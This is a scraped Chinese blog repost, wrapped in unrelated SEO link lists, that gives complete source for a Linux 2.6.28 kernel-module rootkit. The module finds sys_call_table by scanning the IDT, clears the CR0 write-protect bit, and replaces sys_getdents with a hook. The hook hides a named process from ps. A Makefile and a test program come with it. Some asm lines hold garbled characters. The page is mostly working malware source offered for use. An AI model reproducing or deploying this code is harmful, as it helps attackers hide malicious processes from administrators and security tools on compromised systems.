当前位置: 首页 > news >正文

购物网站如何做性能测试/宁德市

购物网站如何做性能测试,宁德市,wordpress配置七牛云cdn,品牌设计logo图片一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.unsigned int clear_and_return_cr0(void);void setback_cr0(unsigned int val);2.针对ubuntu9.04中,ps命令用的…

一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.

unsigned int clear_and_return_cr0(void);

void setback_cr0(unsigned int val);

2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

测试环境:

ubuntu9.04 内核版本2.6.28

模块代码如下:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

//#include

//#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

int orig_cr0;

char psname[10]="looptest";

char *processname=psname;

//module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

struct linux_dirent{

unsigned

long d_ino;

unsigned

long d_off;

unsigned

short d_reclen;

char d_name[1];

};

void** sys_call_table;

unsigned int clear_and_return_cr0(void)

{

unsigned int cr0 = 0;

unsigned int ret;

asm volatile ("movl %%cr0, %�x"

: "=a"(cr0)

);

ret = cr0;

cr0 &= 0xfffeffff;

asm volatile ("movl %�x, %%cr0"

:

: "a"(cr0)

);

return ret;

}

void setback_cr0(unsigned int val)

{

asm volatile ("movl %�x, %%cr0"

:

: "a"(val)

);

}

asmlinkage long (*orig_getdents)(unsigned int fd,

struct linux_dirent __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p < start + CALLOFF; p++)

if (*(p + 0) == '\xff' && *(p +

1) == '\x14' && *(p + 2) ==

'\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str;

ptr--)

{

if (*ptr < '0' || *ptr > '9')

return (-1);

res += (*ptr - '0') * mul;

mul *= 10;

}

if(res>0 &&

res< 9999)

printk(KERN_INFO "pid=%d,",res);

printk("\n");

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p = get_current(),*entry=NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid == pid)

{

printk("pid found=%d\n",entry->pid);

return entry;

}

else

{

// printk(KERN_INFO "pid=%d not found\n",pid);

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char

*buf)

{

int i;

char *name;

name = p->comm;

i = sizeof(p->comm);

do {

unsigned char c = *name;

name++;

i--;

*buf = c;

if (!c)

break;

if (c == '\\') {

buf[1] = c;

buf += 2;

continue;

}

if (c == '\n')

{

buf[0] = '\\';

buf[1] = 'n';

buf += 2;

continue;

}

buf++;

}

while (i);

*buf = '\n';

return buf + 1;

}

int get_process(pid_t pid)

{

struct task_struct *task = get_task(pid);

// char

*buffer[64] = {0};

char buffer[64];

if (task)

{

get_name(task, buffer);

// if(pid>0 &&

pid<9999)

// printk(KERN_INFO "task name=%s\n",*buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd,

struct linux_dirent __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

// struct

inode *dinode;

unsigned short len = 0;

unsigned short tlen = 0;

// struct

linux_dirent *mydir = NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value = (*orig_getdents) (fd, dirp, count);

tlen = value;

//遍历得到的目录列表

while(tlen > 0)

{

len = dirp->d_reclen;

tlen = tlen - len;

printk("%s\n",dirp->d_name);

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程,调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp + dirp->d_reclen,

tlen);

value = value - len;

printk(KERN_INFO "hide successful.\n");

}

if(tlen)

dirp = (struct linux_dirent *) ((char *)dirp +

dirp->d_reclen);

}

printk(KERN_INFO "finished hacked_getdents.\n");

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct = 0;

char *p;

asm("sidt %0":"=m"(idtr));

idt = (void *) (idtr.base + 8 * 0x80);

sys_call_off = (idt->off2

<< 16) |

idt->off1;

if ((p = findoffset((char *) sys_call_off)))

sct = *(unsigned *) (p + 3);

return ((void **)sct);

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table = get_sct_addr();

if (!sys_call_table)

{

printk("get_act_addr(): NULL...\n");

return 0;

}

else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents = sys_call_table[__NR_getdents];

orig_cr0 = clear_and_return_cr0();

sys_call_table[__NR_getdents] = hacked_getdents;

setback_cr0(orig_cr0);

printk(KERN_INFO "hideps: module loaded.\n");

return 0;

}

static void filter_exit(void)

{

orig_cr0 = clear_and_return_cr0();

if (sys_call_table)

sys_call_table[__NR_getdents] = orig_getdents;

setback_cr0(orig_cr0);

printk(KERN_INFO "hideps: module removed\n");

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");

makefile文件如下:

obj-m :=hideps.o

EXTRA_CFLAGS := -Dsymname=sys_call_table

KDIR := /lib/modules/$(shell

uname -r)/build

PWD := $(shell pwd)

default:

$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

clean:

$(RM) -rf .*.cmd *.mod.c *.o *.ko .tmp*

编写一个测试程序looptest.c,如下:

#include

int main(void)

{

while(1);

return 0;

}

http://www.lbrq.cn/news/1399483.html

相关文章:

  • 免费高清图片素材网站推荐/设计培训班学费一般多少
  • 网站建设技术实现/快速网站轻松排名哪家好
  • 营销型网站建设php源码/深圳seo网络推广
  • 腾云网站建设/北京网站优化
  • 网站建设合同要上印花税吗/徐州百度推广总代理
  • 电商网站开发岗位职责/seo快速优化文章排名
  • 网络信息安全/夫唯seo
  • 开发一个网站大概多少钱/免费外贸接单平台
  • 建设官网银行/汕头seo排名收费
  • 杭州做网站套餐/千锋教育培训收费一览表
  • 深圳龙岗区住房和建设局网站/windows优化大师的作用
  • 杭州 网站建设公司/营销培训课程有哪些
  • 公司网站开发完成后怎么办/百度搜索如何去广告
  • 有什么做任务的网站/电商数据统计网站
  • 免费的个人简历模板在哪找/搜索引擎优化指的是
  • wordpress开启报错/惠州百度seo哪里强
  • 建筑焊工证查询网站官方网/网络营销推广要求
  • 如何看出一个网站有做seo/seo面试常见问题及答案
  • 做创意礼品定制的网站/网站流量数据
  • 怎么增加网站流量/疫情防控最新信息
  • 点餐系统网站建设/安徽seo网络优化师
  • 神华公司两学一做网站/谷歌推广代理商
  • 内容不相关的网站做301重定向/手机导航下载2022新版
  • 可靠的合肥网站建设/郑州本地seo顾问
  • 建设网站需要服务器吗/微信营销的方法和技巧
  • wordpress 批量 产品/seo引擎
  • 品牌网站建设解决方/360搜索引擎的特点
  • 做网站的宽度为多少/游戏推广可以做吗
  • 哪些网站用django做的/代运营哪家公司最靠谱
  • 长安网站建设费用/网络推广及销售
  • Oracle:配置让插入语句时id自动输入
  • 跨域信息结构:四界统一的动态机制
  • [激光原理与应用-305]:光学设计 - 单个光学元件(纯粹的光学元件)的设计图纸的主要内容、格式与示例
  • PicoShare 文件共享教程:cpolar 内网穿透服务实现跨设备极速传输
  • 网络基础——协议认识
  • 力扣hot100:盛最多水的容器:双指针法高效求解最大容量问题(11)